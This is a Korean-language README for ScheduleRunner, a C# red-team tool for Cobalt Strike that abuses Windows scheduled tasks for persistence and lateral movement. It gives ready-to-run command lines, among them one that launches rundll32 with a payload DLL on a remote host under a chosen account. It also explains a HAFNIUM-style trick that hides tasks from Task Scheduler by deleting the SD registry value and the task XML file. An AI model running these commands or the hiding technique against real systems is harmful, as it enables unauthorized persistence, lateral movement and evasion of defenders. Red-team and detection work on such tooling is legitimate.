ScheduleRunner - 레드 팀 작전에서 지속성 및 측면 이동을 위해 예약 작업을 사용자 정의할 수 있는 더 많은 유연성을 제공하는 C# 도구

---

예약 작업은 지난 10년 동안 가장 인기 있는 공격 기술 중 하나였으며, 현재도 해커/레드 팀원들이 지속성 및 측면 이동을 위해 일반적으로 사용하고 있습니다.

이미 여러 C# 도구가 예약 작업을 사용한 공격을 시뮬레이션하기 위해 개발되었습니다. 저는 그중 일부를 사용해 보았지만 각각 예약 작업 사용자 정의에 한계가 있었습니다. 따라서 이 프로젝트는 제가 필요로 하는 기능을 포함하고 예약 작업 사용자 정의에 충분한 유연성을 제공하는 C# 도구(CobaltStrike execute-assembly 호환)를 제공하는 것을 목표로 합니다.

스크린샷:

메서드 (/method):

예약 작업 생성 옵션 (/method:create):

[*]은(는) 필수 필드입니다.

예약 작업 삭제 옵션 (/method:delete):

[*]은(는) 필수 필드입니다.

예약 작업 실행 옵션 (/method:run):

[*]은(는) 필수 필드입니다.

예약 작업 쿼리 옵션 (/method:query):

[*]은(는) 필수 필드입니다.

예약 작업 측면 이동 옵션 (/method:move):

[*]은(는) 필수 필드입니다.

예제

"Cleanup"이라는 예약 작업을 생성하여 매일 오후 11:30에 실행합니다.

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

원격 서버에서 4시간마다 실행되는 "Cleanup"이라는 예약 작업을 생성합니다.

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

"Cleanup"이라는 예약 작업을 삭제합니다.

ScheduleRunner.exe /method:delete /taskname:Cleanup

"Cleanup"이라는 예약 작업을 실행합니다.

ScheduleRunner.exe /method:run /taskname:Cleanup

원격 서버의 "\Microsoft\Windows\CertificateServicesClient" 폴더 아래에 있는 "Cleanup"이라는 예약 작업의 세부 정보를 쿼리합니다.

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

원격 서버의 특정 폴더 "\Microsoft\Windows\CertificateServicesClient" 아래에 있는 모든 예약 작업을 쿼리합니다.

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

예약 작업의 모든 하위 폴더를 쿼리합니다.

ScheduleRunner.exe /method:queryfolders

특정 사용자 계정을 사용하여 원격 서버로 예약 작업을 통한 측면 이동을 수행합니다.

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

예약 작업 숨기기 기술을 사용하여 "Cleanup"이라는 예약 작업을 생성합니다:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

예약 작업 숨기기 기술을 사용한 "Cleanup"이라는 예약 작업을 삭제합니다:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

예약 작업 숨기기 기술

이 기술은 위협 행위자 HAFNIUM이 사용했으며 최근 Microsoft에 의해 발견되었습니다. 이 기술은 예약 작업을 도구로 쿼리할 수 없고 작업 스케줄러에서 볼 수 없도록 만드는 것을 목표로 합니다.

이 기술을 사용하려면 "NT AUTHORITY/SYSTEM" 권한이 필요하며, ScheduleRunner가 다음을 수행합니다:

1. "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[작업 이름]"에서 "SD" 값 삭제
2. 예약 작업 XML 파일 "C:\Windows\System32\Tasks\[작업 이름]" 삭제

이 기술을 사용하여 생성된 예약 작업을 제거하려면 삭제 메서드에 "/technique:hide"를 추가하여 올바르게 제거해야 합니다.

이 기술의 단점:

작업이 레지스트리를 통해 삭제되어도 다음 시스템 재부팅까지 계속 실행됩니다. 따라서 운영 중인 서버에서는 이 기술을 사용하지 않는 것이 좋습니다.

데모

사용된 라이브러리 및 참고 자료: